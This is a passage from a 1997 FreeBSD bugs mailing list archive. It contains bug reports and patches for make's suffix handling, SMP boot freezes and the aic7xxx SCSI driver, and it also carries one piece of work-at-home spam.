-0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA28644; Sat, 9 Aug 1997 08:37:35 -0700 (PDT) From: Peter Wemm Received: (from peter@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id IAA16055; Sat, 9 Aug 1997 08:37:00 -0700 (PDT) Date: Sat, 9 Aug 1997 08:37:00 -0700 (PDT) Message-Id: <199708091537.IAA16055@freefall.freebsd.org> To: finrod@pugwash.priv.no, peter@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: gnu/4220 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: gzexe does not detect all dependencies State-Changed-From-To: open-closed State-Changed-By: peter State-Changed-When: Sat Aug 9 08:35:22 PDT 1997 State-Changed-Why: Suggested fix applied, thanks! src/gnu/usr.bin/gzip/gzexe rev 1.5 From owner-freebsd-bugs Sat Aug 9 09:10:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29909 for bugs-outgoing; Sat, 9 Aug 1997 09:10:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29903; Sat, 9 Aug 1997 09:10:02 -0700 (PDT) Resent-Date: Sat, 9 Aug 1997 09:10:02 -0700 (PDT) Resent-Message-Id: <199708091610.JAA29903@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, dima@tejblum.dnttm.rssi.ru Received: from main.hq.cti.ru (main.hq.cti.ru [194.67.85.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29865 for ; Sat, 9 Aug 1997 09:09:53 -0700 (PDT) Received: (from uucp@localhost) by main.hq.cti.ru (8.8.5/8.8.5) with UUCP id UAA19139 for FreeBSD-gnats-submit@freebsd.org; Sat, 9 Aug 1997 20:09:48 +0400 (MSD) Received: (from dima@localhost) by tejblum.dnttm.rssi.ru (8.8.7/8.8.5) id UAA18642; Sat, 9 Aug 1997 20:07:55 +0400 (MSD) Message-Id: <199708091607.UAA18642@tejblum.dnttm.rssi.ru> Date: Sat, 9 Aug 1997 20:07:55 +0400 (MSD) From: Dmitrij Tejblum Reply-To: dima@tejblum.dnttm.rssi.ru To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/4254: make in free(): warning: chunk is already free Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4254 >Category: bin >Synopsis: make in free(): warning: chunk is already free >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Aug 9 09:10:01 PDT 1997 >Last-Modified: >Originator: Dmitrij Tejblum >Organization: >Release: FreeBSD 3.0-CURRENT-src-cur-2995 i386 >Environment: >Description: When all transformation rules to or from a suffix disappeared, make tries to free the suffix. I think, it is a very strange idea. (Or, maybe, it is a POSIX requirement?) And it is done incorrectly. Apparently, it even don't update the list of known suffixes (but it is an other bug). >How-To-Repeat: Try following Makefile: -----------------------cut here---------- .SUFFIXES: .xxx .xxx.c: aaaa: bbbbb ------------------------cut here--------- >Fix: --- suff.c.00 Wed Mar 12 12:44:53 1997 +++ suff.c Sat Aug 9 19:26:04 1997 @@ -160,7 +160,6 @@ static int SuffSuffHasNameP __P((ClientData, ClientData)); static int SuffSuffIsPrefix __P((ClientData, ClientData)); static int SuffGNHasNameP __P((ClientData, ClientData)); -static void SuffUnRef __P((ClientData, ClientData)); static void SuffFree __P((ClientData)); static void SuffInsert __P((Lst, Suff *)); static void SuffRemove __P((Lst, Suff *)); @@ -327,20 +326,6 @@ /*********** Maintenance Functions ************/ -static void -SuffUnRef(lp, sp) - ClientData lp; - ClientData sp; -{ - Lst l = (Lst) lp; - - LstNode ln = Lst_Member(l, sp); - if (ln != NILLNODE) { - Lst_Remove(l, ln); - ((Suff *) sp)->refCount--; - } -} - /*- *----------------------------------------------------------------------- * SuffFree -- @@ -383,8 +368,7 @@ * None * * Side Effects: - * The reference count for the suffix is decremented and the - * suffix is possibly freed + * The reference count for the suffix is decremented *----------------------------------------------------------------------- */ static void @@ -392,9 +376,11 @@ Lst l; Suff *s; { - SuffUnRef((ClientData) l, (ClientData) s); - if (s->refCount == 0) - SuffFree((ClientData) s); + LstNode ln = Lst_Member(l, (ClientData)s); + if (ln != NILLNODE) { + Lst_Remove(l, ln); + s->refCount--; + } } /*- >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Aug 9 12:40:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09719 for bugs-outgoing; Sat, 9 Aug 1997 12:40:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09691; Sat, 9 Aug 1997 12:40:02 -0700 (PDT) Resent-Date: Sat, 9 Aug 1997 12:40:02 -0700 (PDT) Resent-Message-Id: <199708091940.MAA09691@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, smp@csn.net Received: from Victor.StevesCafe.com (Victor.StevesCafe.com [205.168.119.140]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA09294 for ; Sat, 9 Aug 1997 12:31:06 -0700 (PDT) Received: (from root@localhost) by Victor.StevesCafe.com (8.8.6/8.8.5) id NAA04144; Sat, 9 Aug 1997 13:29:52 -0600 (MDT) Message-Id: <199708091929.NAA04144@Victor.StevesCafe.com> Date: Sat, 9 Aug 1997 13:29:52 -0600 (MDT) From: smp@csn.net Reply-To: smp@csn.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4255: SMP kernel freezes on machines with >2 CPUs. Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4255 >Category: kern >Synopsis: SMP kernel freezes on machines with >2 CPUs. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Aug 9 12:40:01 PDT 1997 >Last-Modified: >Originator: Steve Passe >Organization: Steve's Cafe >Release: FreeBSD 3.0-CURRENT i386 >Environment: SMP kernel on machines with >2 CPUs. >Description: When the kernel config file "options NCPU=x" line has a value for x that doesn't agree with the actual number of CPUs on the motherboard the kernel will usually freeze during boot. >How-To-Repeat: set "options NCPU=x" to 2 on a board with 4 CPUs. >Fix: For now just make sure that "options NCPU=x" agrees with the actual CPU count of your motherboard. The default is NCPU=2, so most users needn't bother. Those with hardware containing 4 CPUs will have to make sure to add "options NCPU=4" to their config files for now. The correct fix is to examine mpboot.s and determine why the additional CPUs get into the race for the bootlock (my current theory as to the cause of the problem). >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Aug 9 15:01:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16685 for bugs-outgoing; Sat, 9 Aug 1997 15:01:09 -0700 (PDT) Received: from webcube.cscent.net (mail.cscent.net [206.85.231.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA16677 for ; Sat, 9 Aug 1997 15:01:04 -0700 (PDT) From: 53854463@cyberbundle.net Date: Sat, 09 Aug 97 17:54:53 EST To: todd@cyberbundle.net Subject: "work @ home" opportunities Message-ID: <> Comments: Authenticated sender is Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This message was brought to in part by the Stealth Mass Mailer. For a FREE evaluation copy, visit http://www.cyberbundle.net $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you are looking to make millions in the next mouth, DELETE THIS LETTER! If you are looking for a way to get control of your financial life, READ ON! For a limited time we are offering to send you our disk which lists hundreds of "work-at-home" opportunities for $15, which includes S/H. Why are we giving away this $69.95 value? Because we want you for a customer, plain and simple. For more information, E-Mail: CharlsDisk@answerme.com To order, send $15 to: Charlie's Disk P.O. Box 6091 Charlottesville, VA 22906 to be removed from future mailings e-mail remove@cyberbundle.net From owner-freebsd-bugs Sat Aug 9 21:00:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA00718 for bugs-outgoing; Sat, 9 Aug 1997 21:00:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA00709; Sat, 9 Aug 1997 21:00:02 -0700 (PDT) Resent-Date: Sat, 9 Aug 1997 21:00:02 -0700 (PDT) Resent-Message-Id: <199708100400.VAA00709@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, itojun@itojun.org Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA00415; Sat, 9 Aug 1997 20:51:49 -0700 (PDT) Message-Id: <199708100351.UAA00415@hub.freebsd.org> Date: Sat, 9 Aug 1997 20:51:49 -0700 (PDT) From: itojun@itojun.org To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: kern/4256: aic driver: kernel goes to strange state if other device wakes up on the same scsi bus Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4256 >Category: kern >Synopsis: aic driver: kernel goes to strange state if other device wakes up on the same scsi bus >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Aug 9 21:00:01 PDT 1997 >Last-Modified: >Originator: Jun-ichiro Itoh >Organization: itojun.org >Release: FreeBSD 2.2.1-RELEASE >Environment: FreeBSD 2.2.1-RELEASE FreeBSD 2.2.1-RELEASE + 2.2.2-RELEASE kernel has the same behavior. >Description: In an environment that two PC is sharing same scsi device, FreeBSD box will go mad when power sw of Win95 turned on. (FreeBSD box will answer to ping, however it looks that no user process is running) printer (scsi port 1) ----- FreeBSD (scsi port 2) ----- Win95 On screen the following message will appear: >How-To-Repeat: mmm, I'm not sure. >Fix: not yet. sorry. >Audit-Trail: >Unformatted: >Unexpected busfree. LASTPHASE == 0x80 >SEQADDR == 0x42 >uk0(ahc0:1:0): SCB 0x0 - timed out while idle, LASTPHASE=h == 0x1, SCSISIO ... >SEQADDR = 0x6 SCSISEQ = 0x12 SSTAT0 = 0x5 SSTAT1 = 0xa >uk0(ahc0:1:0): SCB 0: Immediate reset. Flags = 0x401 >ahc0: Issued Channel A Bus Reset. 1 SCBs aborted (could not take the memo for 3rd line, I'll update when the incident occurs next time) From owner-freebsd-bugs Sat Aug 9 21:10:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA01181 for bugs-outgoing; Sat, 9 Aug 1997 21:10:08 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA01162; Sat, 9 Aug 1997 21:10:02 -0700 (PDT) Resent-Date: Sat, 9 Aug 1997 21:10:02 -0700 (PDT) Resent-Message-Id: <199708100410.VAA01162@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, itojun@itojun.org Received: from tanmen.digipri.co.jp (tanmen.digipri.co.jp [210.128.213.73]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA00783 for ; Sat, 9 Aug 1997 21:02:02 -0700 (PDT) Received: (from itojun@localhost) by tanmen.digipri.co.jp (8.8.5/8.8.5) id NAA02638; Sun, 10 Aug 1997 13:03:37 +0900 (JST) Message-Id: <199708100403.NAA02638@tanmen.digipri.co.jp> Date: Sun, 10 Aug 1997 13:03:37 +0900 (JST) From: itojun@itojun.org Reply-To: itojun@itojun.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4257: scsi RESERVATION CONFLICT support needed (with proposed change to aic driver) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4257 >Category: kern >Synopsis: scsi RESERVATION CONFLICT support needed (with proposed change to aic driver) >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Aug 9 21:10:01 PDT 1997 >Last-Modified: >Originator: Jun-ichiro Itoh >Organization: itojun.org >Release: FreeBSD 2.2.2-RELEASE i386 >Environment: FreeBSD tanmen.digipri.co.jp 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #1: Sun Aug 10 12:08:59 JST 1997 itojun@tanmen.digipri.co.jp:/usr/src/sys/compile/TANMEN i386 >Description: Some scsi device supports scsi RESERVE/RESERVE UNIT commands. In this case, scsi status byte may contain 0x18 (RESERVATION CONFLICT) which is currently unsupported by FreeBSD. In result, we'll see this kind of messages to be issued every time we see RESERVATION CONFLICT. Aug 9 19:00:07 tanmen /kernel: uk0(ahc0:1:0): unexpected targ_status: 18 Aug 9 19:00:07 tanmen /kernel: uk0(ahc0:1:0): unexpected targ_status: 18 Aug 9 19:00:07 tanmen /kernel: uk0(ahc0:1:0): host adapter code inconsistency >How-To-Repeat: connect device with RESERVE/RESERVE UNIT support. >Fix: Here's a proposed change to aic driver. Other drivers should be updated accordingly. I'm novice to scsi controls, so could somebody please comment? diff -cr sys.222R/i386/scsi/aic7xxx.c sys/i386/scsi/aic7xxx.c *** sys.222R/i386/scsi/aic7xxx.c Sat Apr 26 14:04:10 1997 --- sys/i386/scsi/aic7xxx.c Sun Aug 10 12:08:15 1997 *************** *** 1359,1364 **** --- 1359,1369 ---- sc_print_addr(xs->sc_link); printf("Target Busy\n"); break; + case SCSI_RSVD: + xs->error = XS_BUSY; /*XXX*/ + sc_print_addr(xs->sc_link); + printf("Target Reserved\n"); + break; default: sc_print_addr(xs->sc_link); printf("unexpected targ_status: %x\n", hscb->status); diff -cr sys.222R/scsi/scsi_all.h sys/scsi/scsi_all.h *** sys.222R/scsi/scsi_all.h Tue May 30 17:13:25 1995 --- sys/scsi/scsi_all.h Sun Aug 10 12:08:40 1997 *************** *** 346,350 **** --- 346,351 ---- #define SCSI_CHECK 0x02 #define SCSI_BUSY 0x08 #define SCSI_INTERM 0x10 + #define SCSI_RSVD 0x18 #define SCSI_QUEUE_FULL 0x28 #endif /*_SCSI_SCSI_ALL_H*/ >Audit-Trail: >Unformatted: